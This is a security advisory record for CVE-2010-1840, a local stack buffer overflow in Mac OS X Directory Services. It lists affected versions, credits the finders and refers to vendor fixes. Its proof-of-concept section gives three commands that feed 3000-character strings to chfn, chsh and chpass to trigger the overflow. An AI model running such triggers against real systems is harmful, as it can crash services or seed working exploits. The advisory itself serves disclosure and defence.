Apple Mac OS X Directory Services Password Validation Stack Buffer Overflow Vulnerability

BID:44816

Info

Apple Mac OS X Directory Services Password Validation Stack Buffer Overflow Vulnerability

Bugtraq ID: 44816
Class: Boundary Condition Error
CVE: CVE-2010-1840
Remote: No
Local: Yes
Published: Nov 10 2010 12:00AM
Updated: Nov 12 2010 04:57PM
Credit: Rodrigo Rubira Branco of Check Point Vulnerability Discovery Team (VDT), and Rainer Mueller.
Vulnerable: Apple Mac OS X Server 10.6.4
Apple Mac OS X Server 10.6.3
Apple Mac OS X Server 10.6.2
Apple Mac OS X Server 10.6.1
Apple Mac OS X Server 10.5.8
Apple Mac OS X Server 10.6
Apple Mac OS X 10.6.4
Apple Mac OS X 10.6.3
Apple Mac OS X 10.6.2
Apple Mac OS X 10.6.1
Apple Mac OS X 10.5.8
Apple Mac OS X 10.6
Not Vulnerable: Apple Mac OS X Server 10.6.5

Discussion

Apple Mac OS X Directory Services Password Validation Stack Buffer Overflow Vulnerability

Apple Mac OS X Directory Services is prone to a stack-based buffer-overflow vulnerability.

Local attackers could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

This issue affects Mac OS X v10.5.8, Mac OS X Server v10.5.8, Mac OS X 10.6 to 10.6.4, and Mac OS X Server 10.6 to 10.6.4.

NOTE: This issue was previously covered in BID 44778 (Apple Mac OS X Prior to 10.6.5 Multiple Security Vulnerabilities), but has been given its own record to better document it.

Exploit / POC

Apple Mac OS X Directory Services Password Validation Stack Buffer Overflow Vulnerability

The following example commands are available:

/usr/bin/chfn -u `perl -e 'print "A" x 3000'`
/usr/bin/chsh -u `perl -e 'print "A" x 3000'`
/usr/bin/chpass -u `perl -e 'print "A" x 3000'`

Solution / Fix

Apple Mac OS X Directory Services Password Validation Stack Buffer Overflow Vulnerability

Solution:
The vendor has released an advisory and fixes. Please see the references for details.


Apple Mac OS X 10.6

Apple Mac OS X Server 10.6

Apple Mac OS X 10.5.8

Apple Mac OS X Server 10.5.8

Apple Mac OS X Server 10.6.1

Apple Mac OS X 10.6.1

Apple Mac OS X 10.6.2

Apple Mac OS X Server 10.6.2

Apple Mac OS X Server 10.6.3

Apple Mac OS X 10.6.3

Apple Mac OS X Server 10.6.4

Apple Mac OS X 10.6.4

References

Apple Mac OS X Directory Services Password Validation Stack Buffer Overflow Vulnerability

References:

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